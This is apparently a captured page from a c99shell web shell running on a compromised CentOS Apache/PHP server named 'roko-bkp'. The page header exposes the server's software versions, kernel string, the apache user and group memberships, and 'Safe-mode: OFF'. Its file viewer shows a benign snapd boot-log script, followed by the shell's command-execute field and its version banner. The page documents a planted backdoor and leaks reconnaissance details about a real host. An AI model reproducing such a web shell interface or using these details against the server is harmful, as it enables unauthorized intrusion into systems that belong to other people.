Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) Safe-mode: OFF (not secure) /var/lib/snapd/snap/core20/2379/usr/lib/systemd/ drwxr-xr-x |
Viewing file: Select action/file-type: #!/bin/sh set -eu modeenv=/run/mnt/data/system-data/var/lib/snapd/modeenv mode="$(/usr/libexec/core/get-mode mode "${modeenv}")" || mode="unknown" case "${mode}" in install|recover|factory-reset) save_dir=/run/mnt/ubuntu-data/system-data/var/log/debug ;; *) save_dir=/run/mnt/data/system-data/var/log/debug ;; esac next_num=1 for boot in "${save_dir}"/boot*; do if [ -d "${boot}" ]; then base="$(basename "${boot}")" num="${base#boot}" if [ "${num}" -ge "${next_num}" ]; then next_num="$((${num}+1))" fi fi done next_dir="${save_dir}/boot${next_num}" mkdir -p "${next_dir}" mv /run/log/base/*.svg "${next_dir}/" for initrd_file in /run/log/*.svg; do if [ -f "${initrd_file}" ]; then base="$(basename "${initrd_file}")" mv "${initrd_file}" "${next_dir}/initrd-${base}" fi done |
:: Command execute :: | |
--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0041 ]-- |